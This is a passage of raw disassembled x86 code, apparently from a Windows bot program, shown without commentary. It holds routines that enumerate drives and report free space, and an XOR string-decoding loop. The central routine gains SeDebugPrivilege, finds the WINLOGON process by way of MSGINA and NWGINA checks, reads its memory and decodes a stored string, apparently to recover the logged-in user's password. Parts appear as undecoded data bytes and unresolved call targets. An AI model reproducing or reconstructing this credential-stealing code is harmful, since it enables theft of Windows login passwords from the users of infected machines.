[ebp-10h] push esi push eax call sub_41B590 push 44h lea eax, [ebp-310h] pop edi push edi push esi push eax call sub_41B590 add esp, 1Ch mov [ebp-310h], edi lea eax, [ebp-10h] mov dword ptr [ebp-304h], offset dword_43D128 push 1 mov [ebp-2E0h], si pop edi push eax lea eax, [ebp-310h] push eax push esi push esi push 28h push esi push esi lea eax, [ebp-148h] push esi push eax push esi mov [ebp-2E4h], edi nop call near ptr 2650BFCh cmp eax, edi jnz short loc_416877 call dword_4CAECC call sub_418359 push esi call near ptr 77E75CB5h nop loc_416877: ; CODE XREF: ___:00416863j lea eax, [ebp-148h] push eax push offset unk_437670 jmp short loc_416891 ; --------------------------------------------------------------------------- loc_416885: ; CODE XREF: ___:0041643Ej lea eax, [ebp-248h] push eax push offset unk_437644 loc_416891: ; CODE XREF: ___:00416883j lea eax, [ebp-510h] push eax call sub_41B886 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_4168C5 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_4168C5: ; CODE XREF: ___:004168A3j lea eax, [ebp-510h] push eax call sub_4151AC pop ecx loc_4168D2: ; CODE XREF: ___:00416695j ; ___:0041671Ej ... push dword ptr [ebp-18h] call dword_4CAFA8 push dword ptr [ebp-48h] call sub_40B412 pop ecx push esi nop call near ptr 26D0000h ; =============== S U B R O U T I N E ======================================= sub_4168EB proc near ; CODE XREF: ___:00416517p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_416907 loc_4168F7: ; CODE XREF: sub_4168EB+1Aj mov dl, byte_429094 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_4168F7 locret_416907: ; CODE XREF: sub_4168EB+Aj retn sub_4168EB endp ; =============== S U B R O U T I N E ======================================= sub_416908 proc near ; CODE XREF: sub_401ACD+5841p ; sub_401ACD+5969p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_41D3BE pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_416908 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416922 proc near ; CODE XREF: sub_40F96A+458p ; sub_40F96A+5FDp ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_4D2BA8 push 0 push edi call sub_41B590 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_416947: ; CODE XREF: sub_416922+5Bj ; sub_416922+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_41D480 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_41D410 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_416985 inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_416947 mov byte ptr [esi], 2Ch inc esi jmp short loc_416947 ; --------------------------------------------------------------------------- loc_416985: ; CODE XREF: sub_416922+4Bj dec esi mov eax, edi loc_416988: ; CODE XREF: sub_416922+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_416997 mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_416988 ; --------------------------------------------------------------------------- loc_416997: ; CODE XREF: sub_416922+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_416922 endp ; =============== S U B R O U T I N E ======================================= sub_4169A1 proc near ; CODE XREF: sub_416B56+51p ; sub_416B56+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CAFD4 sub eax, 0 jz short loc_4169E4 dec eax jz short loc_4169DE dec eax dec eax jz short loc_4169D8 dec eax jz short loc_4169D2 dec eax jz short loc_4169CC dec eax jz short loc_4169C6 mov eax, offset word_437834 retn ; --------------------------------------------------------------------------- loc_4169C6: ; CODE XREF: sub_4169A1+1Dj mov eax, offset off_437830 retn ; --------------------------------------------------------------------------- loc_4169CC: ; CODE XREF: sub_4169A1+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_4169D2: ; CODE XREF: sub_4169A1+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_4169D8: ; CODE XREF: sub_4169A1+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_4169DE: ; CODE XREF: sub_4169A1+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_4169E4: ; CODE XREF: sub_4169A1+Dj mov eax, offset aUnknown ; "Unknown" retn sub_4169A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4169EA proc near ; CODE XREF: sub_416A32+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_4CAE64 test eax, eax jz short loc_416A1F lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax loc_416A1F: ; CODE XREF: sub_4169EA+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_4169EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416A32 proc near ; CODE XREF: sub_416B56+17p ; sub_41AA42+1F3p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_4169EA pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_416B10 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_416B10 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_416B10 push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_41D500 push edx push eax call sub_416922 pop ecx mov edi, offset aSkb ; "%sKB" pop ecx mov esi, 80h push eax push edi lea eax, [ebp+var_198] push esi push eax call sub_41B980 add esp, 10h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_41D500 push edx push eax call sub_416922 pop ecx pop ecx push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_41B980 add esp, 10h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_41D500 push edx push eax call sub_416922 pop ecx pop ecx push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_41B980 add esp, 10h pop ebx jmp short loc_416B42 ; --------------------------------------------------------------------------- loc_416B10: ; CODE XREF: sub_416A32+2Cj ; sub_416A32+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_118] pop ecx push esi push eax call sub_41B886 pop ecx lea eax, [ebp+var_98] pop ecx push esi push eax call sub_41B886 pop ecx pop ecx loc_416B42: ; CODE XREF: sub_416A32+DCj mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_416A32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416B56 proc near ; CODE XREF: sub_416C28+17p ; sub_416C28+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_416A32 push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_41C070 add esp, 10h test eax, eax jnz short loc_416BC9 push ebx push ebx call sub_4169A1 pop ecx push eax push offset unk_437884 lea eax, [ebp+var_500] push 200h push eax call sub_41B980 add esp, 14h jmp short loc_416BFD ; --------------------------------------------------------------------------- loc_416BC9: ; CODE XREF: sub_416B56+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_4169A1 pop ecx push eax push offset unk_437848 lea eax, [ebp+var_500] push 200h push eax call sub_41B980 add esp, 20h loc_416BFD: ; CODE XREF: sub_416B56+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_500] push eax call sub_4151AC add esp, 18h pop edi pop esi pop ebx leave retn sub_416B56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416C28 proc near ; CODE XREF: sub_401ACD+2553p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_416C49 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416B56 add esp, 10h jmp short loc_416CAA ; --------------------------------------------------------------------------- loc_416C49: ; CODE XREF: sub_416C28+9j push esi push edi push ebx push ebx call dword_4CAEDC lea esi, [eax+2] push esi call sub_41B4D5 pop ecx mov edi, eax push edi push esi call dword_4CAEDC cmp [edi], bl mov esi, edi jz short loc_416CA1 loc_416C6D: ; CODE XREF: sub_416C28+77j push offset aA_1 ; "A:\\" push esi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_416C90 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416B56 add esp, 10h loc_416C90: ; CODE XREF: sub_416C28+54j push esi call sub_41AFE0 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_416C6D loc_416CA1: ; CODE XREF: sub_416C28+43j push edi call sub_41B0B1 pop ecx pop edi pop esi loc_416CAA: ; CODE XREF: sub_416C28+1Fj pop ebx pop ebp retn sub_416C28 endp ; --------------------------------------------------------------------------- byte_416CAD db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+689Fo dd 49CEC81h, 458B0000h, 57565308h, 0A7B9h, 8DF08B00h, 0FFFD64BDh dd 0C7A5F3FFh, 29880h, 100h, 0EC858D00h, 50FFFFFEh, 42FFE8h dd 80DB3300h, 0FEEB05BCh, 595CFFFFh, 858D1475h, 0FFFFFEECh dd 42E6E850h, 88590000h, 0FEEB059Ch, 858DFFFFh, 0FFFFFDE8h dd 78E46850h, 858D0043h, 0FFFFFB64h, 20068h, 61E85000h dd 8300004Ch, 5D3910C4h, 532075F8h, 0FB64858Dh, 75FFFFFFh dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF2D2Eh dd 8D14C483h, 0FFFEEC85h, 8D5053FFh, 0FFFDE885h, 858D50FFh dd 0FFFFFD68h, 50F475FFh, 0FD64B5FFh, 5DE8FFFFh, 83000000h dd 8D5018C4h, 0FFFB6485h, 78C468FFh, 0E8500043h, 4B06h dd 390CC483h, 2075F85Dh, 64858D53h, 0FFFFFFFBh, 8D50F475h dd 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h, 0FF2CCDE8h, 14C483FFh dd 0FB64858Dh, 0E850FFFFh, 0FFFFE3F8h, 0E8F075FFh, 0FFFF4656h dd 0E8535959h, 22B923Ch, 5B5E5F90h, 81EC8B55h, 54CECh dd 57565300h, 104BEh, 1875FF00h, 0FDB8858Dh, 2868FFFFh dd 56004379h, 4B92E850h, 3D8B0000h, 427000h, 8D10C483h dd 0FFFEBC85h, 858D50FFh, 0FFFFFDB8h, 83D7FF50h, 4589FFF8h dd 93BCBBFCh, 71740042h, 0FEBC85F6h, 7410FFFFh, 0E8BD8054h dd 2EFFFFFEh, 0BD801275h, 0FFFFFEE9h, 80427400h, 0FFFEE9BDh dd 39742EFFh, 0FEE8858Dh, 8D50FFFFh, 0FFFCB485h, 1875FFFFh dd 0E8505653h, 4B30h, 8D1C75FFh, 0FFFCB485h, 75FF50FFh dd 1075FF14h, 0FF0C75FFh, 5DE80875h, 83FFFFFFh, 45892CC4h dd 0BC858D1Ch, 50FFFFFEh, 90FC75FFh, 33917FE8h, 75C08502h dd 0FC75FF8Fh, 319173E8h, 75FF9002h, 0B8858D14h, 0FFFFFFFDh dd 56531875h, 4ADEE850h, 0C4830000h, 0BC858D14h, 50FFFFFEh dd 0FDB8858Dh, 0FF50FFFFh, 83F08BD7h, 4F74FFFEh, 0FEE8858Dh dd 45FFFFFFh, 858D501Ch, 0FFFFFAB4h, 681875FFh, 43790Ch dd 20068h, 0A1E85000h, 6A00004Ah, 0B4858D01h, 0FFFFFFFAh dd 0FF501075h, 75FF0C75h, 2B7CE808h, 0C483FFFFh, 0BC858D28h dd 50FFFFFEh, 0F9E89056h, 85023390h, 56B175C0h, 90EEE890h dd 458B0231h, 5B5E5F1Ch ; --------------------------------------------------------------------------- leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F1A proc near ; DATA XREF: sub_401ACD+1CCFo var_29C = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] push 1 rep movsd pop esi mov [eax+90h], esi call sub_41A8F4 cmp eax, esi mov [ebp+var_4], eax jz short loc_416F59 cmp eax, 2 jz short loc_416F59 push offset unk_437B00 jmp loc_417098 ; --------------------------------------------------------------------------- loc_416F59: ; CODE XREF: sub_416F1A+2Ej ; sub_416F1A+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx test eax, eax pop ecx jz loc_417093 push ebx push offset aNtdll_dll ; "NTDLL.DLL" nop call near ptr 2690CB0h mov esi, dword_4270BC mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov dword_4D3DEC, eax call esi push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov dword_4D3DE0, eax call esi push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov dword_4D3FF0, eax call esi push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov dword_4D3DE8, eax call esi mov dword_4D3DE4, eax call sub_4170EC test eax, eax mov [ebp+arg_0], eax jz loc_417066 mov esi, dword_42713C mov edi, 400h mov ebx, offset dword_4D2DE0 push edi push ebx push offset off_437A3C call esi push edi mov edi, offset dword_4D35E0 push edi push offset off_437A24 call esi cmp [ebp+var_4], 1 push offset dword_4D3FF8 push [ebp+arg_0] jnz short loc_417012 call sub_417275 jmp short loc_417017 ; --------------------------------------------------------------------------- loc_417012: ; CODE XREF: sub_416F1A+EFj call sub_41741C loc_417017: ; CODE XREF: sub_416F1A+F6j pop ecx test eax, eax pop ecx jz short loc_41705F cmp dword_4D3FF8, 0 jnz short loc_417046 push ebx push edi push [ebp+arg_0] lea eax, [ebp+var_29C] push offset unk_4379C8 push 200h push eax call sub_41B980 add esp, 18h jmp short loc_417079 ; --------------------------------------------------------------------------- loc_417046: ; CODE XREF: sub_416F1A+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_417056 call sub_417552 jmp short loc_41705B ; --------------------------------------------------------------------------- loc_417056: ; CODE XREF: sub_416F1A+133j call sub_4175E9 loc_41705B: ; CODE XREF: sub_416F1A+13Aj pop ecx push eax jmp short loc_41706B ; --------------------------------------------------------------------------- loc_41705F: ; CODE XREF: sub_416F1A+101j push offset unk_437990 jmp short loc_41706B ; --------------------------------------------------------------------------- loc_417066: ; CODE XREF: sub_416F1A+B6j push offset unk_437964 loc_41706B: ; CODE XREF: sub_416F1A+143j ; sub_416F1A+14Aj lea eax, [ebp+var_29C] push eax call sub_41B886 pop ecx pop ecx loc_417079: ; CODE XREF: sub_416F1A+12Aj push 0 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419651 pop ecx pop ecx push [ebp+var_8] nop call near ptr 278064Eh pop ebx jmp short loc_4170A6 ; --------------------------------------------------------------------------- loc_417093: ; CODE XREF: sub_416F1A+4Ej push offset unk_437930 loc_417098: ; CODE XREF: sub_416F1A+3Aj lea eax, [ebp+var_29C] push eax call sub_41B886 pop ecx pop ecx loc_4170A6: ; CODE XREF: sub_416F1A+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_4170CD push esi lea eax, [ebp+var_29C] push [ebp+var_14] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_409A72 add esp, 14h loc_4170CD: ; CODE XREF: sub_416F1A+191j lea eax, [ebp+var_29C] push eax call sub_4151AC push [ebp+var_18] call sub_40B412 pop ecx pop ecx push esi nop call near ptr 26D0000h pop edi pop esi sub_416F1A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4170EC proc near ; CODE XREF: sub_416F1A+ACp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, dword_427148 mov ebx, 100h push edi push ebx push 8 call esi mov edi, dword_427144 push eax call edi mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call dword_4D3DEC push ebp push 0 call esi push eax call near ptr 2790000h nop push [esp+28h+var_14] push 8 call esi push eax call edi mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call dword_4D3DEC test eax, eax jnz short loc_4171D9 mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_4171D9 push 1 mov ebx, ebp pop ecx cmp eax, ecx mov [esp+28h+var_18], ecx jb short loc_4171D9 loc_417175: ; CODE XREF: sub_4170EC+EBj cmp word ptr [ebx+8], 5 jnz short loc_4171CC push 0 push 0 call dword_4D3DE0 mov edi, eax push edi push 1 push dword ptr [ebx+4] call dword_4D3FF0 test eax, eax jnz short loc_4171BD mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_4171F1 loc_4171BD: ; CODE XREF: sub_4170EC+AAj test edi, edi jz short loc_4171C8 push edi call dword_4D3DE8 loc_4171C8: ; CODE XREF: sub_4170EC+D3j mov eax, [esp+28h+var_10] loc_4171CC: ; CODE XREF: sub_4170EC+8Ej add ebx, 10h inc [esp+28h+var_18] cmp [esp+28h+var_18], eax jbe short loc_417175 loc_4171D9: ; CODE XREF: sub_4170EC+6Dj ; sub_4170EC+7Aj ... xor edi, edi loc_4171DB: ; CODE XREF: sub_4170EC+17Dj push ebp push 0 call esi push eax call near ptr 2790000h nop mov eax, edi loc_4171E9: ; CODE XREF: sub_4170EC+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_4171F1: ; CODE XREF: sub_4170EC+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_41725A lea eax, [edi+80h] mov [esp+28h+var_18], eax loc_417207: ; CODE XREF: sub_4170EC+16Cj add [esp+28h+var_18], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+var_18] call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41726E push offset aMsgina ; "MSGINA" push [esp+2Ch+var_18] call sub_41D5AA pop ecx push eax call sub_41B900 pop ecx test eax, eax pop ecx jnz short loc_41724C mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_41724C: ; CODE XREF: sub_4170EC+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_417207 loc_41725A: ; CODE XREF: sub_4170EC+10Fj test edi, edi jz short loc_417265 push edi call dword_4D3DE8 loc_417265: ; CODE XREF: sub_4170EC+170j mov edi, [esp+28h+var_4] jmp loc_4171DB ; --------------------------------------------------------------------------- loc_41726E: ; CODE XREF: sub_4170EC+13Cj xor eax, eax jmp loc_4171E9 sub_4170EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417275 proc near ; CODE XREF: sub_416F1A+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push esi xor esi, esi push [ebp+arg_0] mov [ebp+var_10], esi push esi push 410h nop call near ptr 267090Eh cmp eax, esi mov [ebp+var_4], eax jnz short loc_41729E xor eax, eax jmp loc_417419 ; --------------------------------------------------------------------------- loc_41729E: ; CODE XREF: sub_417275+20j mov eax, [ebp+arg_4] push ebx push edi mov [eax], esi lea eax, [ebp+var_64] push eax nop call near ptr 27B0000h push [ebp+var_60] mov [ebp+var_8], esi mov esi, dword_427148 push 8 call esi mov edi, dword_427144 push eax call edi lea ecx, [ebp+var_8] mov ebx, dword_427150 push ecx mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx test eax, eax jnz short loc_4172EE xor esi, esi jmp loc_41740C ; --------------------------------------------------------------------------- loc_4172EE: ; CODE XREF: sub_417275+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, [ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] call near ptr 27A0AAEh nop test eax, eax jz loc_4173FB mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_4173FB test [ebp+var_2B], 1 jnz loc_4173FB push [ebp+var_34] push 8 call esi push eax call edi mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx test eax, eax jz loc_4173FB loc_417351: ; CODE XREF: sub_417275+112j push edi push offset dword_4D2DE0 call sub_426762 pop ecx test eax, eax pop ecx jnz short loc_417379 lea eax, [edi+200h] push eax push offset dword_4D35E0 call sub_426762 pop ecx test eax, eax pop ecx jz short loc_417389 loc_417379: ; CODE XREF: sub_417275+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jnb short loc_4173FB jmp short loc_417351 ; --------------------------------------------------------------------------- loc_417389: ; CODE XREF: sub_417275+102j test edi, edi jz short loc_4173FB lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax nop call near ptr 2740000h test eax, eax jz short loc_4173C4 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_14] push eax call near ptr 2730767h nop test eax, eax jz short loc_4173C4 mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_4173C4: ; CODE XREF: sub_417275+12Bj ; sub_417275+13Dj movzx eax, word ptr [edi+42Ch] shr eax, 8 mov dword_4D4004, eax mov eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov dword_4D3FFC, eax mov dword_4D4000, edi loc_4173FB: ; CODE XREF: sub_417275+90j ; sub_417275+A2j ... push [ebp+arg_0] push 0 call esi push eax nop call near ptr 2790000h mov esi, [ebp+var_10] loc_41740C: ; CODE XREF: sub_417275+74j push [ebp+var_4] nop call near ptr 265092Ah pop edi mov eax, esi pop ebx loc_417419: ; CODE XREF: sub_417275+24j pop esi leave retn sub_417275 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41741C proc near ; CODE XREF: sub_416F1A:loc_417012p var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push [ebp+arg_0] push 0 push 410h call near ptr 267090Eh nop test eax, eax mov [ebp+arg_0], eax jz loc_41750E mov eax, [ebp+arg_4] and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax call near ptr 27B0000h nop mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb loc_417505 mov edi, dword_427148 loc_417467: ; CODE XREF: sub_41741C+E3j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] nop call near ptr 27A0AAEh test eax, eax jz short loc_4174F3 mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_4174F9 test [ebp+var_13], 1 jnz short loc_4174F9 push ecx push 8 call edi push eax nop call near ptr 27A0000h mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] call near ptr 27A0CD3h nop test eax, eax jz short loc_4174E5 push offset dword_4D2DE0 push esi call sub_426762 pop ecx test eax, eax pop ecx jnz short loc_4174E5 lea eax, [esi+400h] push offset dword_4D35E0 push eax call sub_426762 pop ecx test eax, eax pop ecx jz short loc_417515 loc_4174E5: ; CODE XREF: sub_41741C+9Fj ; sub_41741C+B0j push esi push 0 call edi push eax nop call near ptr 2790000h jmp short loc_4174F9 ; --------------------------------------------------------------------------- loc_4174F3: ; CODE XREF: sub_41741C+5Dj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_4174F9: ; CODE XREF: sub_41741C+71j ; sub_41741C+77j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_417467 loc_417505: ; CODE XREF: sub_41741C+3Fj push [ebp+arg_0] call near ptr 265092Ah nop loc_41750E: ; CODE XREF: sub_41741C+1Ej xor eax, eax loc_417510: ; CODE XREF: sub_41741C+134j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_417515: ; CODE XREF: sub_41741C+C7j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov dword_4D3FFC, ebx mov dword_4D4000, eax cmp [eax], cl jnz short loc_417537 cmp [eax+1], cl jz short loc_41753F loc_417537: ; CODE XREF: sub_41741C+114j ; sub_41741C+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_417537 loc_41753F: ; CODE XREF: sub_41741C+119j mov eax, [ebp+arg_4] push [ebp+arg_0] mov [eax], ecx nop call near ptr 265092Ah push 1 pop eax jmp short loc_417510 sub_41741C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417552 proc near ; CODE XREF: sub_416F1A+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4D3FF8 push esi mov esi, dword_427148 push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi push eax nop call near ptr 27A0000h mov ecx, dword_4D3FF8 mov [ebp+var_4], eax add ecx, ecx push ecx push dword_4D4000 push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr dword_4D4004 push eax call dword_4D3DE4 push [ebp+var_4] mov edi, offset dword_4D3DF0 push offset dword_4D2DE0 push offset dword_4D35E0 push [ebp+arg_0] push offset dword_437B4C push 200h push edi call sub_41B980 add esp, 1Ch push [ebp+var_4] push 0 call esi push eax nop call near ptr 2790000h mov eax, edi pop edi pop esi leave retn sub_417552 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4175E9 proc near ; CODE XREF: sub_416F1A:loc_417056p var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, dword_4D3FF8 push ebx push esi push edi lea ecx, [eax+eax] lea 